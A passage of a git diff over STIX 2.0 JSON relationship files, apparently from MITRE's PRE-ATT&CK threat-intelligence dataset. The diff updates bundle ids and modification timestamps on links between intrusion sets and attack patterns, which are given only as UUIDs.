+    "id": "bundle--978d53b9-5d19-4626-8d82-42ef4e1ba779",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ad510f42-e745-42d0-8b54-4bf7a2f3cf34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae",
             "target_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1",
diff --git a/pre-attack/relationship/relationship--b09b41c4-670f-4f00-b8d5-a8c6a2dcfcfb.json b/pre-attack/relationship/relationship--b09b41c4-670f-4f00-b8d5-a8c6a2dcfcfb.json
index 1e97f3c789..51eadbe6f1 100644
--- a/pre-attack/relationship/relationship--b09b41c4-670f-4f00-b8d5-a8c6a2dcfcfb.json
+++ b/pre-attack/relationship/relationship--b09b41c4-670f-4f00-b8d5-a8c6a2dcfcfb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--08d579d4-5503-4e72-bd6d-48ec401e4a3f",
+    "id": "bundle--b7661fbd-cc42-4aef-80a6-01bd5ebd2947",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--b09b41c4-670f-4f00-b8d5-a8c6a2dcfcfb",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234",
diff --git a/pre-attack/relationship/relationship--b180dee5-0d48-448f-94b9-4997f0c584d5.json b/pre-attack/relationship/relationship--b180dee5-0d48-448f-94b9-4997f0c584d5.json
index bacfecf502..07c5e2049e 100644
--- a/pre-attack/relationship/relationship--b180dee5-0d48-448f-94b9-4997f0c584d5.json
+++ b/pre-attack/relationship/relationship--b180dee5-0d48-448f-94b9-4997f0c584d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e68f8b05-9749-443a-b553-dbc9e238c395",
+    "id": "bundle--00eb47ae-26f7-4405-ac74-d554d5925eb5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b180dee5-0d48-448f-94b9-4997f0c584d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41",
             "target_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc",
diff --git a/pre-attack/relationship/relationship--b55534ba-37ce-47f2-a961-edeaeedcb399.json b/pre-attack/relationship/relationship--b55534ba-37ce-47f2-a961-edeaeedcb399.json
index 90683d289b..e61a4d2195 100644
--- a/pre-attack/relationship/relationship--b55534ba-37ce-47f2-a961-edeaeedcb399.json
+++ b/pre-attack/relationship/relationship--b55534ba-37ce-47f2-a961-edeaeedcb399.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--72224822-18c8-424a-b5b9-331382578003",
+    "id": "bundle--bcd444f8-a6d6-44dc-8650-19bf2a98014f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b55534ba-37ce-47f2-a961-edeaeedcb399",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
diff --git a/pre-attack/relationship/relationship--bbb1c074-a93a-4e40-b11e-2151403f7f1d.json b/pre-attack/relationship/relationship--bbb1c074-a93a-4e40-b11e-2151403f7f1d.json
index 0c8a67b960..195211475b 100644
--- a/pre-attack/relationship/relationship--bbb1c074-a93a-4e40-b11e-2151403f7f1d.json
+++ b/pre-attack/relationship/relationship--bbb1c074-a93a-4e40-b11e-2151403f7f1d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94ebec23-0ada-4837-84e6-79182fe07a0d",
+    "id": "bundle--86a4d935-9933-4c24-b692-95818aaa1e1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bbb1c074-a93a-4e40-b11e-2151403f7f1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1",
             "target_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84",
diff --git a/pre-attack/relationship/relationship--bc165934-7ef6-4aed-a0d7-81d3372589f4.json b/pre-attack/relationship/relationship--bc165934-7ef6-4aed-a0d7-81d3372589f4.json
index 5ef30b75ab..8acda03989 100644
--- a/pre-attack/relationship/relationship--bc165934-7ef6-4aed-a0d7-81d3372589f4.json
+++ b/pre-attack/relationship/relationship--bc165934-7ef6-4aed-a0d7-81d3372589f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eaba9d1c-ed36-41d2-8de1-d455b02c30e2",
+    "id": "bundle--280250f1-0385-48f4-b274-2518a8b6a390",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bc165934-7ef6-4aed-a0d7-81d3372589f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b",
             "target_ref": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077",
diff --git a/pre-attack/relationship/relationship--be031f72-737b-4afd-b2c1-c565f5ab7369.json b/pre-attack/relationship/relationship--be031f72-737b-4afd-b2c1-c565f5ab7369.json
index fba422a09e..a49a59c00b 100644
--- a/pre-attack/relationship/relationship--be031f72-737b-4afd-b2c1-c565f5ab7369.json
+++ b/pre-attack/relationship/relationship--be031f72-737b-4afd-b2c1-c565f5ab7369.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3b2a2982-61d8-4180-b78c-4138701fe0d2",
+    "id": "bundle--987734ab-657d-4887-8760-35f28ab4681d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--be031f72-737b-4afd-b2c1-c565f5ab7369",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
             "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
diff --git a/pre-attack/relationship/relationship--c124f0ba-f4bc-430a-b40c-eebe0577f812.json b/pre-attack/relationship/relationship--c124f0ba-f4bc-430a-b40c-eebe0577f812.json
index 3454afde54..6a34023a22 100644
--- a/pre-attack/relationship/relationship--c124f0ba-f4bc-430a-b40c-eebe0577f812.json
+++ b/pre-attack/relationship/relationship--c124f0ba-f4bc-430a-b40c-eebe0577f812.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--00196e5d-ffcb-4844-9107-339e07a0fd38",
+    "id": "bundle--e2953792-04fa-4de0-9cbe-5761ec9fe704",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c124f0ba-f4bc-430a-b40c-eebe0577f812",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73",
             "target_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
diff --git a/pre-attack/relationship/relationship--c2571ca8-98c4-490d-b8f8-f3678b0ce74d.json b/pre-attack/relationship/relationship--c2571ca8-98c4-490d-b8f8-f3678b0ce74d.json
index f1bb26c474..4e867250e1 100644
--- a/pre-attack/relationship/relationship--c2571ca8-98c4-490d-b8f8-f3678b0ce74d.json
+++ b/pre-attack/relationship/relationship--c2571ca8-98c4-490d-b8f8-f3678b0ce74d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55872945-8492-42d3-b83d-40aebcd11a70",
+    "id": "bundle--c3d14c7b-c583-444d-a43a-4d345f365ce1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c2571ca8-98c4-490d-b8f8-f3678b0ce74d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4",
diff --git a/pre-attack/relationship/relationship--c388ed7c-3820-41a3-98af-a48dd7e4d88b.json b/pre-attack/relationship/relationship--c388ed7c-3820-41a3-98af-a48dd7e4d88b.json
index 2718cddac0..70a549bdb2 100644
--- a/pre-attack/relationship/relationship--c388ed7c-3820-41a3-98af-a48dd7e4d88b.json
+++ b/pre-attack/relationship/relationship--c388ed7c-3820-41a3-98af-a48dd7e4d88b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--30cd9a39-00d5-4b1c-9bbc-a8dcd915db98",
+    "id": "bundle--7d68a721-1adc-49ca-bd8e-3e0f8e8f568b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c388ed7c-3820-41a3-98af-a48dd7e4d88b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59",
             "target_ref": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
diff --git a/pre-attack/relationship/relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528.json b/pre-attack/relationship/relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528.json
index 75c3907b84..2555fb076a 100644
--- a/pre-attack/relationship/relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528.json
+++ b/pre-attack/relationship/relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f97b8faa-2718-43c7-a1a7-7d2a9bd6ec77",
+    "id": "bundle--ba4b4fc3-3502-44e7-89e0-7bceb1226fc8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
diff --git a/pre-attack/relationship/relationship--c90a4d6a-af21-4103-ba57-3ddeb6e973e7.json b/pre-attack/relationship/relationship--c90a4d6a-af21-4103-ba57-3ddeb6e973e7.json
index 80179aab5c..ac0b039ffb 100644
--- a/pre-attack/relationship/relationship--c90a4d6a-af21-4103-ba57-3ddeb6e973e7.json
+++ b/pre-attack/relationship/relationship--c90a4d6a-af21-4103-ba57-3ddeb6e973e7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f8c3f144-ddb4-4781-855a-023de29115ed",
+    "id": "bundle--cc0b3e91-1ee4-4943-909d-1ff9d089454f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c90a4d6a-af21-4103-ba57-3ddeb6e973e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
diff --git a/pre-attack/relationship/relationship--cc22ab71-f2fc-4885-832b-e75dadeefa2d.json b/pre-attack/relationship/relationship--cc22ab71-f2fc-4885-832b-e75dadeefa2d.json
index cbd7c9f9b9..56f06de16d 100644
--- a/pre-attack/relationship/relationship--cc22ab71-f2fc-4885-832b-e75dadeefa2d.json
+++ b/pre-attack/relationship/relationship--cc22ab71-f2fc-4885-832b-e75dadeefa2d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--78649325-a137-4d67-b6f0-35956061f473",
+    "id": "bundle--007c4974-1dcb-4fe3-8395-e9ebb796c420",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cc22ab71-f2fc-4885-832b-e75dadeefa2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077",
diff --git a/pre-attack/relationship/relationship--d26a1746-b577-4a89-be5e-c49611e8c65a.json b/pre-attack/relationship/relationship--d26a1746-b577-4a89-be5e-c49611e8c65a.json
index 5f0d432458..284cb71f50 100644
--- a/pre-attack/relationship/relationship--d26a1746-b577-4a89-be5e-c49611e8c65a.json
+++ b/pre-attack/relationship/relationship--d26a1746-b577-4a89-be5e-c49611e8c65a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0d446ef5-4917-43e0-9f03-f3974e18e913",
+    "id": "bundle--9ea2a1a8-9b6f-4486-8a26-d3e65d654989",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d26a1746-b577-4a89-be5e-c49611e8c65a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201",
diff --git a/pre-attack/relationship/relationship--d5bd7a33-a249-46e5-bb19-a498eba42bdb.json b/pre-attack/relationship/relationship--d5bd7a33-a249-46e5-bb19-a498eba42bdb.json
index 1b69741456..f249bfc647 100644
--- a/pre-attack/relationship/relationship--d5bd7a33-a249-46e5-bb19-a498eba42bdb.json
+++ b/pre-attack/relationship/relationship--d5bd7a33-a249-46e5-bb19-a498eba42bdb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d289badc-7ba2-470e-88e3-37fabcae9ddd",
+    "id": "bundle--656a614d-c098-4f2f-a2f8-d844f0fbd579",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d5bd7a33-a249-46e5-bb19-a498eba42bdb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
             "target_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc",
diff --git a/pre-attack/relationship/relationship--db10491f-a854-4404-9271-600349484bc3.json b/pre-attack/relationship/relationship--db10491f-a854-4404-9271-600349484bc3.json
index 7ed5fb0200..22fc46c74a 100644
--- a/pre-attack/relationship/relationship--db10491f-a854-4404-9271-600349484bc3.json
+++ b/pre-attack/relationship/relationship--db10491f-a854-4404-9271-600349484bc3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--10e1c7dd-0d3a-4221-9230-37fc0cdd52c6",
+    "id": "bundle--30f6ef09-4a01-463c-ad84-21a3f0cf92e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--db10491f-a854-4404-9271-600349484bc3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a",
diff --git a/pre-attack/relationship/relationship--db4dfa09-7f19-437a-9d79-15f2dc8ba0da.json b/pre-attack/relationship/relationship--db4dfa09-7f19-437a-9d79-15f2dc8ba0da.json
index 0d935e16a8..8dd1379f18 100644
--- a/pre-attack/relationship/relationship--db4dfa09-7f19-437a-9d79-15f2dc8ba0da.json
+++ b/pre-attack/relationship/relationship--db4dfa09-7f19-437a-9d79-15f2dc8ba0da.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c381a809-ed88-4982-9706-b94121cf939c",
+    "id": "bundle--be9ae0f0-c334-4e42-8433-2e3c067c4e4b",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--db4dfa09-7f19-437a-9d79-15f2dc8ba0da",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39",
             "target_ref": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
diff --git a/pre-attack/relationship/relationship--e4501560-7850-4467-8422-2cf336429e8a.json b/pre-attack/relationship/relationship--e4501560-7850-4467-8422-2cf336429e8a.json
index c29313cf0c..83dffaeb11 100644
--- a/pre-attack/relationship/relationship--e4501560-7850-4467-8422-2cf336429e8a.json
+++ b/pre-attack/relationship/relationship--e4501560-7850-4467-8422-2cf336429e8a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec25e696-1ec7-403d-b83f-e50298d0238f",
+    "id": "bundle--984e7fca-1d80-4be2-a975-ed6219b01d1e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e4501560-7850-4467-8422-2cf336429e8a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f",
             "target_ref": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05",
diff --git a/pre-attack/relationship/relationship--e60a165e-cfad-43e5-ba83-ea2430a377c5.json b/pre-attack/relationship/relationship--e60a165e-cfad-43e5-ba83-ea2430a377c5.json
index 98842d4760..3814a62c28 100644
--- a/pre-attack/relationship/relationship--e60a165e-cfad-43e5-ba83-ea2430a377c5.json
+++ b/pre-attack/relationship/relationship--e60a165e-cfad-43e5-ba83-ea2430a377c5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b2dd0186-40b9-4e7e-8456-30b610459e92",
+    "id": "bundle--12e92fe4-7f67-41af-85b9-2ac4c7738445",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e60a165e-cfad-43e5-ba83-ea2430a377c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
diff --git a/pre-attack/relationship/relationship--e78023e7-98de-4973-9331-843bfa28c9f7.json b/pre-attack/relationship/relationship--e78023e7-98de-4973-9331-843bfa28c9f7.json
index 31bdeb0b09..781ab95901 100644
--- a/pre-attack/relationship/relationship--e78023e7-98de-4973-9331-843bfa28c9f7.json
+++ b/pre-attack/relationship/relationship--e78023e7-98de-4973-9331-843bfa28c9f7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5e3970c-ace5-43a7-a4ae-ce031ee8d674",
+    "id": "bundle--e1f92e0d-b78a-442c-a54f-9b58c9c9872f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e78023e7-98de-4973-9331-843bfa28c9f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc",
diff --git a/pre-attack/relationship/relationship--e95ea206-3962-43af-aac1-042ac9928679.json b/pre-attack/relationship/relationship--e95ea206-3962-43af-aac1-042ac9928679.json
index d195fcc3b2..87ddcf0674 100644
--- a/pre-attack/relationship/relationship--e95ea206-3962-43af-aac1-042ac9928679.json
+++ b/pre-attack/relationship/relationship--e95ea206-3962-43af-aac1-042ac9928679.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb4d9320-c773-4246-b43e-a4c99f46b747",
+    "id": "bundle--a823912e-a01c-448f-b973-61a1bde7a8d2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e95ea206-3962-43af-aac1-042ac9928679",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64",
diff --git a/pre-attack/relationship/relationship--eab3be4e-4130-4898-a7b6-d9e9eb34f2bd.json b/pre-attack/relationship/relationship--eab3be4e-4130-4898-a7b6-d9e9eb34f2bd.json
index cfe4980d7d..1473315330 100644
--- a/pre-attack/relationship/relationship--eab3be4e-4130-4898-a7b6-d9e9eb34f2bd.json
+++ b/pre-attack/relationship/relationship--eab3be4e-4130-4898-a7b6-d9e9eb34f2bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3ccf80c6-3fa9-4e82-9aab-2f770842d285",
+    "id": "bundle--2e098cb5-484b-4066-b10c-777f741029d0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eab3be4e-4130-4898-a7b6-d9e9eb34f2bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a",
diff --git a/pre-attack/relationship/relationship--eca0f05c-5025-4149-9826-3715cc243180.json b/pre-attack/relationship/relationship--eca0f05c-5025-4149-9826-3715cc243180.json
index 0f66105e12..6b3c9385af 100644
--- a/pre-attack/relationship/relationship--eca0f05c-5025-4149-9826-3715cc243180.json
+++ b/pre-attack/relationship/relationship--eca0f05c-5025-4149-9826-3715cc243180.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b217b506-7487-4a70-8c24-87900eda605d",
+    "id": "bundle--7f860443-b6ae-4422-bc49-ed60c67c6e80",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eca0f05c-5025-4149-9826-3715cc243180",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--c860af4a-376e-46d7-afbf-262c41012227",
diff --git a/pre-attack/relationship/relationship--edb31962-2310-4618-bd4f-d34f8e7d58e8.json b/pre-attack/relationship/relationship--edb31962-2310-4618-bd4f-d34f8e7d58e8.json
index bb87508a61..0cece62090 100644
--- a/pre-attack/relationship/relationship--edb31962-2310-4618-bd4f-d34f8e7d58e8.json
+++ b/pre-attack/relationship/relationship--edb31962-2310-4618-bd4f-d34f8e7d58e8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8fd77782-061d-4bdc-bdab-01ad1def6285",
+    "id": "bundle--129a6342-9528-45b7-9877-27a66f11459b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--edb31962-2310-4618-bd4f-d34f8e7d58e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
diff --git a/pre-attack/relationship/relationship--ef32147c-d309-4867-aaba-998088290e32.json b/pre-attack/relationship/relationship--ef32147c-d309-4867-aaba-998088290e32.json
index 771ae77666..a2cb87b908 100644
--- a/pre-attack/relationship/relationship--ef32147c-d309-4867-aaba-998088290e32.json
+++ b/pre-attack/relationship/relationship--ef32147c-d309-4867-aaba-998088290e32.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb27221c-a02c-4add-a6d9-726aaa7fa309",
+    "id": "bundle--701d8497-31fe-4e27-8236-1f7468bae88b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ef32147c-d309-4867-aaba-998088290e32",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407",
             "target_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1",
diff --git a/pre-attack/relationship/relationship--f24a6bf4-c60f-4fa6-8f6a-f2806ae92cdd.json b/pre-attack/relationship/relationship--f24a6bf4-c60f-4fa6-8f6a-f2806ae92cdd.json
index 33aadaffe3..24989f856b 100644
--- a/pre-attack/relationship/relationship--f24a6bf4-c60f-4fa6-8f6a-f2806ae92cdd.json
+++ b/pre-attack/relationship/relationship--f24a6bf4-c60f-4fa6-8f6a-f2806ae92cdd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3ae6c504-7e5b-496e-9958-b35a16bb0bed",
